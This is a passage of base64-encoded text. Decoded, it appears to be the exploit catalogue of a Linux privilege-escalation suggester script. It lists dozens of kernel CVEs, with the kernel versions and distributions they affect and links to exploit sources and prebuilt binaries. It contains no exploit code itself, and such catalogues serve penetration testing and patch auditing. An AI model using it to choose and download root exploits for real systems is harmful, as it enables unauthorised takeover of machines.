8yMDEwLzA0LzEwL3JlaXNlcmZzLXJlaXNlcmZzX3ByaXYtdnVsbmVyYWJpbGl0eS8Kc3JjLXVybDogaHR0cHM6Ly9qb24ub2JlcmhlaWRlLm9yZy9maWxlcy90ZWFtLWVkd2FyZC5weQpleHBsb2l0LWRiOiAxMjEzMApjb21tZW50czogUmVxdWlyZXMgYSBSZWlzZXJGUyBmaWxlc3lzdGVtIG1vdW50ZWQgd2l0aCBleHRlbmRlZCBhdHRyaWJ1dGVzCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTAtMjk1OV0ke3R4dHJzdH0gY2FuX2JjbQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjE4LHZlcjw9Mi42LjM2ClRhZ3M6IHVidW50dT0xMC4wNHtrZXJuZWw6Mi42LjMyLTI0LWdlbmVyaWN9ClJhbms6IDEKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjQxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvY2FuX2JjbQpleHBsb2l0LWRiOiAxNDgxNApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDEwLTM5MDRdJHt0eHRyc3R9IHJkcwpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjMwLHZlcjwyLjYuMzcKVGFnczogZGViaWFuPTYuMHtrZXJuZWw6Mi42LigzMXwzMnwzNHwzNSktKDF8dHJ1bmspLWFtZDY0fSx1YnVudHU9MTAuMTB8OS4xMCxmZWRvcmE9MTN7a2VybmVsOjIuNi4zMy4zLTg1LmZjMTMuaTY4Ni5QQUV9LHVidW50dT0xMC4wNHtrZXJuZWw6Mi42LjMyLSgyMXwyNCktZ2VuZXJpY30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly93d3cuc2VjdXJpdHlmb2N1cy5jb20vYXJjaGl2ZS8xLzUxNDM3OQpzcmMtdXJsOiBodHRwOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDEwMTAyMDA0NDA0OC9odHRwOi8vd3d3LnZzZWN1cml0eS5jb20vZG93bmxvYWQvdG9vbHMvbGludXgtcmRzLWV4cGxvaXQuYwpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2NDEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS9yZHMKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjQxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvcmRzNjQKZXhwbG9pdC1kYjogMTUyODUKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC0zODQ4LENWRS0yMDEwLTM4NTAsQ1ZFLTIwMTAtNDA3M10ke3R4dHJzdH0gaGFsZl9uZWxzb24KUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjM2ClRhZ3M6IHVidW50dT0oMTAuMDR8OS4xMCl7a2VybmVsOjIuNi4oMzF8MzIpLSgxNHwyMSktc2VydmVyfQpSYW5rOiAxCmJpbi11cmw6IGh0dHA6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvaGFsZi1uZWxzb24zCmV4cGxvaXQtZGI6IDE3Nzg3CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bTi9BXSR7dHh0cnN0fSBjYXBzX3RvX3Jvb3QKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4zNCx2ZXI8PTIuNi4zNix4ODYKVGFnczogdWJ1bnR1PTEwLjEwClJhbms6IDEKZXhwbG9pdC1kYjogMTU5MTYKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtOL0FdJHt0eHRyc3R9IGNhcHNfdG9fcm9vdCAyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMzQsdmVyPD0yLjYuMzYKVGFnczogdWJ1bnR1PTEwLjEwClJhbms6IDEKZXhwbG9pdC1kYjogMTU5NDQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC00MzQ3XSR7dHh0cnN0fSBhbWVyaWNhbi1zaWduLWxhbmd1YWdlClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMCx2ZXI8PTIuNi4zNgpUYWdzOgpSYW5rOiAxCmV4cGxvaXQtZGI6IDE1Nzc0CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTAtMzQzN10ke3R4dHJzdH0gcGt0Y2R2ZApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMzYKVGFnczogdWJ1bnR1PTEwLjA0ClJhbms6IDEKZXhwbG9pdC1kYjogMTUxNTAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMC0zMDgxXSR7dHh0cnN0fSB2aWRlbzRsaW51eApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49Mi42LjAsdmVyPD0yLjYuMzMKVGFnczogUkhFTD01ClJhbms6IDEKZXhwbG9pdC1kYjogMTUwMjQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMi0wMDU2XSR7dHh0cnN0fSBtZW1vZGlwcGVyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMCx2ZXI8PTMuMS4wClRhZ3M6IHVidW50dT0oMTAuMDR8MTEuMTApe2tlcm5lbDozLjAuMC0xMi0oZ2VuZXJpY3xzZXJ2ZXIpfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9naXQuengyYzQuY29tL0NWRS0yMDEyLTAwNTYvYWJvdXQvCnNyYy11cmw6IGh0dHBzOi8vZ2l0Lnp4MmM0LmNvbS9DVkUtMjAxMi0wMDU2L3BsYWluL21lbXBvZGlwcGVyLmMKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvbWVtb2RpcHBlcgpiaW4tdXJsOiBodHRwczovL3dlYi5hcmNoaXZlLm9yZy93ZWIvMjAxNjA2MDIxOTI2MzEvaHR0cHM6Ly93d3cua2VybmVsLWV4cGxvaXRzLmNvbS9tZWRpYS9tZW1vZGlwcGVyNjQKZXhwbG9pdC1kYjogMTg0MTEKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMi0wMDU2LENWRS0yMDEwLTM4NDksQ1ZFLTIwMTAtMzg1MF0ke3R4dHJzdH0gZnVsbC1uZWxzb24KUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4wLHZlcjw9Mi42LjM2ClRhZ3M6IHVidW50dT0oOS4xMHwxMC4xMCl7a2VybmVsOjIuNi4oMzF8MzUpLSgxNHwxOSktKHNlcnZlcnxnZW5lcmljKX0sdWJ1bnR1PTEwLjA0e2tlcm5lbDoyLjYuMzItKDIxfDI0KS1zZXJ2ZXJ9ClJhbms6IDEKc3JjLXVybDogaHR0cDovL3Z1bG5mYWN0b3J5Lm9yZy9leHBsb2l0cy9mdWxsLW5lbHNvbi5jCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDE2MDYwMjE5MjYzMS9odHRwczovL3d3dy5rZXJuZWwtZXhwbG9pdHMuY29tL21lZGlhL2Z1bGwtbmVsc29uCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDE2MDYwMjE5MjYzMS9odHRwczovL3d3dy5rZXJuZWwtZXhwbG9pdHMuY29tL21lZGlhL2Z1bGwtbmVsc29uNjQKZXhwbG9pdC1kYjogMTU3MDQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxMy0xODU4XSR7dHh0cnN0fSBDTE9ORV9ORVdVU0VSfENMT05FX0ZTClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPTMuOCxDT05GSUdfVVNFUl9OUz15ClRhZ3M6IApSYW5rOiAxCnNyYy11cmw6IGh0dHA6Ly9zdGVhbHRoLm9wZW53YWxsLm5ldC94U3BvcnRzL2Nsb3duLW5ld3VzZXIuYwphbmFseXNpcy11cmw6IGh0dHBzOi8vbHduLm5ldC9BcnRpY2xlcy81NDMyNzMvCmV4cGxvaXQtZGI6IDM4MzkwCmF1dGhvcjogU2ViYXN0aWFuIEtyYWhtZXIKQ29tbWVudHM6IENPTkZJR19VU0VSX05TIG5lZWRzIHRvIGJlIGVuYWJsZWQgCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTMtMjA5NF0ke3R4dHJzdH0gcGVyZl9zd2V2ZW50ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMzIsdmVyPDMuOC45LHg4Nl82NApUYWdzOiBSSEVMPTYsdWJ1bnR1PTEyLjA0e2tlcm5lbDozLjIuMC0oMjN8MjkpLWdlbmVyaWN9LGZlZG9yYT0xNntrZXJuZWw6My4xLjAtNy5mYzE2Lng4Nl82NH0sZmVkb3JhPTE3e2tlcm5lbDozLjMuNC01LmZjMTcueDg2XzY0fSxkZWJpYW49N3trZXJuZWw6My4yLjAtNC1hbWQ2NH0KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly90aW1ldG9ibGVlZC5jb20vYS1jbG9zZXItbG9vay1hdC1hLXJlY2VudC1wcml2aWxlZ2UtZXNjYWxhdGlvbi1idWctaW4tbGludXgtY3ZlLTIwMTMtMjA5NC8KYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvcGVyZl9zd2V2ZW50CmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDE2MDYwMjE5MjYzMS9odHRwczovL3d3dy5rZXJuZWwtZXhwbG9pdHMuY29tL21lZGlhL3BlcmZfc3dldmVudDY0CmV4cGxvaXQtZGI6IDI2MTMxCmF1dGhvcjogQW5kcmVhICdzb3JibycgQml0dGF1CkNvbW1lbnRzOiBObyBTTUVQL1NNQVAgYnlwYXNzCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTMtMjA5NF0ke3R4dHJzdH0gcGVyZl9zd2V2ZW50IDIKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4zMix2ZXI8My44LjkseDg2XzY0ClRhZ3M6IHVidW50dT0xMi4wNHtrZXJuZWw6My4oMnw1KS4wLSgyM3wyOSktZ2VuZXJpY30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly90aW1ldG9ibGVlZC5jb20vYS1jbG9zZXItbG9vay1hdC1hLXJlY2VudC1wcml2aWxlZ2UtZXNjYWxhdGlvbi1idWctaW4tbGludXgtY3ZlLTIwMTMtMjA5NC8Kc3JjLXVybDogaHR0cHM6Ly9jeXNlY2xhYnMuY29tL2V4cGxvaXRzL3ZuaWtfdjEuYwpleHBsb2l0LWRiOiAzMzU4OQphdXRob3I6IFZpdGFseSAndm5paycgTmlrb2xlbmtvCkNvbW1lbnRzOiBObyBTTUVQL1NNQVAgYnlwYXNzCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTMtMDI2OF0ke3R4dHJzdH0gbXNyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMTgsdmVyPDMuNy42ClRhZ3M6IApSYW5rOiAxCmV4cGxvaXQtZGI6IDI3Mjk3CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTMtMTk1OV0ke3R4dHJzdH0gdXNlcm5zX3Jvb3Rfc3Bsb2l0ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMSx2ZXI8My44LjkKVGFnczogClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3Lm9wZW53YWxsLmNvbS9saXN0cy9vc3Mtc2VjdXJpdHkvMjAxMy8wNC8yOS8xCmV4cGxvaXQtZGI6IDI1NDUwCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTMtMjA5NF0ke3R4dHJzdH0gc2VtdGV4ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0yLjYuMzIsdmVyPDMuOC45ClRhZ3M6IFJIRUw9NgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3RpbWV0b2JsZWVkLmNvbS9hLWNsb3Nlci1sb29rLWF0LWEtcmVjZW50LXByaXZpbGVnZS1lc2NhbGF0aW9uLWJ1Zy1pbi1saW51eC1jdmUtMjAxMy0yMDk0LwpleHBsb2l0LWRiOiAyNTQ0NApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTAwMzhdJHt0eHRyc3R9IHRpbWVvdXRwd24KUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuNC4wLHZlcjw9My4xMy4xLENPTkZJR19YODZfWDMyPXkKVGFnczogdWJ1bnR1PTEzLjEwClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vYmxvZy5pbmNsdWRlc2VjdXJpdHkuY29tLzIwMTQvMDMvZXhwbG9pdC1DVkUtMjAxNC0wMDM4LXgzMi1yZWN2bW1zZy1rZXJuZWwtdnVsbmVyYWJsaXR5Lmh0bWwKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvdGltZW91dHB3bjY0CmV4cGxvaXQtZGI6IDMxMzQ2CkNvbW1lbnRzOiBDT05GSUdfWDg2X1gzMiBuZWVkcyB0byBiZSBlbmFibGVkCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTQtMDAzOF0ke3R4dHJzdH0gdGltZW91dHB3biAyClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjQuMCx2ZXI8PTMuMTMuMSxDT05GSUdfWDg2X1gzMj15ClRhZ3M6IHVidW50dT0oMTMuMDR8MTMuMTApe2tlcm5lbDozLig4fDExKS4wLSgxMnwxNXwxOSktZ2VuZXJpY30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHA6Ly9ibG9nLmluY2x1ZGVzZWN1cml0eS5jb20vMjAxNC8wMy9leHBsb2l0LUNWRS0yMDE0LTAwMzgteDMyLXJlY3ZtbXNnLWtlcm5lbC12dWxuZXJhYmxpdHkuaHRtbApleHBsb2l0LWRiOiAzMTM0NwpDb21tZW50czogQ09ORklHX1g4Nl9YMzIgbmVlZHMgdG8gYmUgZW5hYmxlZApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTAxOTZdJHt0eHRyc3R9IHJhd21vZGVQVFkKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTIuNi4zMSx2ZXI8PTMuMTQuMwpUYWdzOgpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL2Jsb2cuaW5jbHVkZXNlY3VyaXR5LmNvbS8yMDE0LzA2L2V4cGxvaXQtd2Fsa3Rocm91Z2gtY3ZlLTIwMTQtMDE5Ni1wdHkta2VybmVsLXJhY2UtY29uZGl0aW9uLmh0bWwKZXhwbG9pdC1kYjogMzM1MTYKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNC0yODUxXSR7dHh0cnN0fSB1c2UtYWZ0ZXItZnJlZSBpbiBwaW5nX2luaXRfc29jaygpICR7YmxkYmx1fShEb1MpJHt0eHRyc3R9ClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMSx2ZXI8PTMuMTQKVGFnczogClJhbms6IDAKYW5hbHlzaXMtdXJsOiBodHRwczovL2N5c2VjbGFicy5jb20vcGFnZT9uPTAyMDEyMDE2CmV4cGxvaXQtZGI6IDMyOTI2CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTQtNDAxNF0ke3R4dHJzdH0gaW5vZGVfY2FwYWJsZQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4wLjEsdmVyPD0zLjEzClRhZ3M6IHVidW50dT0xMi4wNApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTQvMDYvMTAvNApleHBsb2l0LWRiOiAzMzgyNApFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTQ2OTldJHt0eHRyc3R9IHB0cmFjZS9zeXNyZXQKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTMuMC4xLHZlcjw9My44ClRhZ3M6IHVidW50dT0xMi4wNApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTQvMDcvMDgvMTYKZXhwbG9pdC1kYjogMzQxMzQKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNC00OTQzXSR7dHh0cnN0fSBQUFBvTDJUUCAke2JsZGJsdX0oRG9TKSR7dHh0cnN0fQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4yLHZlcjw9My4xNS42ClRhZ3M6IApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cHM6Ly9jeXNlY2xhYnMuY29tL3BhZ2U/bj0wMTEwMjAxNQpleHBsb2l0LWRiOiAzNjI2NwpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE0LTUyMDddJHt0eHRyc3R9IGZ1c2Vfc3VpZApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4wLjEsdmVyPD0zLjE2LjEKVGFnczogClJhbms6IDEKZXhwbG9pdC1kYjogMzQ5MjMKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS05MzIyXSR7dHh0cnN0fSBCYWRJUkVUClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMSx2ZXI8My4xNy41LHg4Nl82NApUYWdzOiBSSEVMPD03LGZlZG9yYT0yMApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL2xhYnMuYnJvbWl1bS5jb20vMjAxNS8wMi8wMi9leHBsb2l0aW5nLWJhZGlyZXQtdnVsbmVyYWJpbGl0eS1jdmUtMjAxNC05MzIyLWxpbnV4LWtlcm5lbC1wcml2aWxlZ2UtZXNjYWxhdGlvbi8Kc3JjLXVybDogaHR0cDovL3NpdGUucGkzLmNvbS5wbC9leHAvcF9jdmUtMjAxNC05MzIyLnRhci5negpleHBsb2l0LWRiOgphdXRob3I6IFJhZmFsICduM3JnYWwnIFdvanRjenVrICYgQWRhbSAncGkzJyBaYWJyb2NraQpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTMyOTBdJHt0eHRyc3R9IGVzcGZpeDY0X05NSQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4xMyx2ZXI8NC4xLjYseDg2XzY0ClRhZ3M6IApSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5vcGVud2FsbC5jb20vbGlzdHMvb3NzLXNlY3VyaXR5LzIwMTUvMDgvMDQvOApleHBsb2l0LWRiOiAzNzcyMgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W04vQV0ke3R4dHJzdH0gYmx1ZXRvb3RoClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPD0yLjYuMTEKVGFnczoKUmFuazogMQpleHBsb2l0LWRiOiA0NzU2CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTUtMTMyOF0ke3R4dHJzdH0gb3ZlcmxheWZzClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjEzLjAsdmVyPD0zLjE5LjAKVGFnczogdWJ1bnR1PSgxMi4wNHwxNC4wNCl7a2VybmVsOjMuMTMuMC0oMnwzfDR8NSkqLWdlbmVyaWN9LHVidW50dT0oMTQuMTB8MTUuMDQpe2tlcm5lbDozLigxM3wxNikuMC0qLWdlbmVyaWN9ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vc2VjbGlzdHMub3JnL29zcy1zZWMvMjAxNS9xMi83MTcKYmluLXVybDogaHR0cHM6Ly93ZWIuYXJjaGl2ZS5vcmcvd2ViLzIwMTYwNjAyMTkyNjMxL2h0dHBzOi8vd3d3Lmtlcm5lbC1leHBsb2l0cy5jb20vbWVkaWEvb2ZzXzMyCmJpbi11cmw6IGh0dHBzOi8vd2ViLmFyY2hpdmUub3JnL3dlYi8yMDE2MDYwMjE5MjYzMS9odHRwczovL3d3dy5rZXJuZWwtZXhwbG9pdHMuY29tL21lZGlhL29mc182NApleHBsb2l0LWRiOiAzNzI5MgpFT0YKKQoKRVhQTE9JVFNbKChuKyspKV09JChjYXQgPDxFT0YKTmFtZTogJHt0eHRncm59W0NWRS0yMDE1LTg2NjBdJHt0eHRyc3R9IG92ZXJsYXlmcyAob3ZsX3NldGF0dHIpClJlcXM6IHBrZz1saW51eC1rZXJuZWwsdmVyPj0zLjAuMCx2ZXI8PTQuMy4zClRhZ3M6ClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwOi8vd3d3LmhhbGZkb2cubmV0L1NlY3VyaXR5LzIwMTUvVXNlck5hbWVzcGFjZU92ZXJsYXlmc1NldHVpZFdyaXRlRXhlYy8KZXhwbG9pdC1kYjogMzkyMzAKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNS04NjYwXSR7dHh0cnN0fSBvdmVybGF5ZnMgKG92bF9zZXRhdHRyKQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4wLjAsdmVyPD00LjMuMwpUYWdzOiB1YnVudHU9KDE0LjA0fDE1LjEwKXtrZXJuZWw6NC4yLjAtKDE4fDE5fDIwfDIxfDIyKS1nZW5lcmljfQpSYW5rOiAxCmFuYWx5c2lzLXVybDogaHR0cDovL3d3dy5oYWxmZG9nLm5ldC9TZWN1cml0eS8yMDE1L1VzZXJOYW1lc3BhY2VPdmVybGF5ZnNTZXR1aWRXcml0ZUV4ZWMvCmV4cGxvaXQtZGI6IDM5MTY2CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtMDcyOF0ke3R4dHJzdH0ga2V5cmluZwpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4xMCx2ZXI8NC40LjEKVGFnczoKUmFuazogMAphbmFseXNpcy11cmw6IGh0dHA6Ly9wZXJjZXB0aW9uLXBvaW50LmlvLzIwMTYvMDEvMTQvYW5hbHlzaXMtYW5kLWV4cGxvaXRhdGlvbi1vZi1hLWxpbnV4LWtlcm5lbC12dWxuZXJhYmlsaXR5LWN2ZS0yMDE2LTA3MjgvCmV4cGxvaXQtZGI6IDQwMDAzCkNvbW1lbnRzOiBFeHBsb2l0IHRha2VzIGFib3V0IH4zMCBtaW51dGVzIHRvIHJ1bi4gRXhwbG9pdCBpcyBub3QgcmVsaWFibGUsIHNlZTogaHR0cHM6Ly9jeXNlY2xhYnMuY29tL2Jsb2cvY3ZlLTIwMTYtMDcyOC1wb2Mtbm90LXdvcmtpbmcKRU9GCikKCkVYUExPSVRTWygobisrKSldPSQoY2F0IDw8RU9GCk5hbWU6ICR7dHh0Z3JufVtDVkUtMjAxNi0yMzg0XSR7dHh0cnN0fSB1c2ItbWlkaQpSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49My4wLjAsdmVyPD00LjQuOApUYWdzOiB1YnVudHU9MTQuMDQsZmVkb3JhPTIyClJhbms6IDEKYW5hbHlzaXMtdXJsOiBodHRwczovL3hhaXJ5LmdpdGh1Yi5pby9ibG9nLzIwMTYvY3ZlLTIwMTYtMjM4NApzcmMtdXJsOiBodHRwczovL3Jhdy5naXRodWJ1c2VyY29udGVudC5jb20veGFpcnkva2VybmVsLWV4cGxvaXRzL21hc3Rlci9DVkUtMjAxNi0yMzg0L3BvYy5jCmV4cGxvaXQtZGI6IDQxOTk5CkNvbW1lbnRzOiBSZXF1aXJlcyBhYmlsaXR5IHRvIHBsdWcgaW4gYSBtYWxpY2lvdXMgVVNCIGRldmljZSBhbmQgdG8gZXhlY3V0ZSBhIG1hbGljaW91cyBiaW5hcnkgYXMgYSBub24tcHJpdmlsZWdlZCB1c2VyCmF1dGhvcjogQW5kcmV5ICd4YWlyeScgS29ub3ZhbG92CkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtNDk5N10ke3R4dHJzdH0gdGFyZ2V0X29mZnNldApSZXFzOiBwa2c9bGludXgta2VybmVsLHZlcj49NC40LjAsdmVyPD00LjQuMCxjbWQ6Z3JlcCAtcWkgaXBfdGFibGVzIC9wcm9jL21vZHVsZXMKVGFnczogdWJ1bnR1PTE2LjA0e2tlcm5lbDo0LjQuMC0yMS1nZW5lcmljfQpSYW5rOiAxCnNyYy11cmw6IGh0dHBzOi8vZ2l0aHViLmNvbS9vZmZlbnNpdmUtc2VjdXJpdHkvZXhwbG9pdC1kYXRhYmFzZS1iaW4tc3Bsb2l0cy9yYXcvbWFzdGVyL2Jpbi1zcGxvaXRzLzQwMDUzLnppcApDb21tZW50czogaXBfdGFibGVzLmtvIG5lZWRzIHRvIGJlIGxvYWRlZApleHBsb2l0LWRiOiA0MDA0OQphdXRob3I6IFZpdGFseSAndm5paycgTmlrb2xlbmtvCkVPRgopCgpFWFBMT0lUU1soKG4rKykpXT0kKGNhdCA8PEVPRgpOYW1lOiAke3R4dGdybn1bQ1ZFLTIwMTYtNDU1N10ke3R4dHJzdH0gZG91YmxlLWZkcHV0KCkKUmVxczogcGtnPWxpbnV4LWtlcm5lbCx2ZXI+PTQuNCx2ZXI8NC41LjUsQ09ORklHX0JQRl9TWVNDQUxMPXksc3lzY3RsOmtlcm5lbC51bnByaXZpbGVnZWRfYnBmX2Rpc2FibGVkIT0xClRhZ3M6IHVidW50dT0xNi4wNHtrZXJuZWw6NC40LjAtMjEtZ2VuZXJpY30KUmFuazogMQphbmFseXNpcy11cmw6IGh0dHBzOi8vYnVncy5jaHJvbWl1bS5vcmcvcC9wcm9qZWN0LXplcm8vaXNzdWVzL2RldGFpbD9pZD04MDgKc3JjLXVybDogaHR0cHM6Ly9naXRodWIuY29tL29mZmVuc2l2ZS1zZWN1cml0eS9leHBsb2l0LWRhdGFiYXNlLWJpbi1zcGxvaXRzL3Jhdy9tYXN0ZXIvYmluLXNwbG9pdHMvMzk3NzIuemlwCkNvbW1lbnRzOiBDT05GSUdfQlBGX1NZU0NBTEwgbmVlZHMgdG8gYmUgc2V0ICYmIGtlcm5lbC5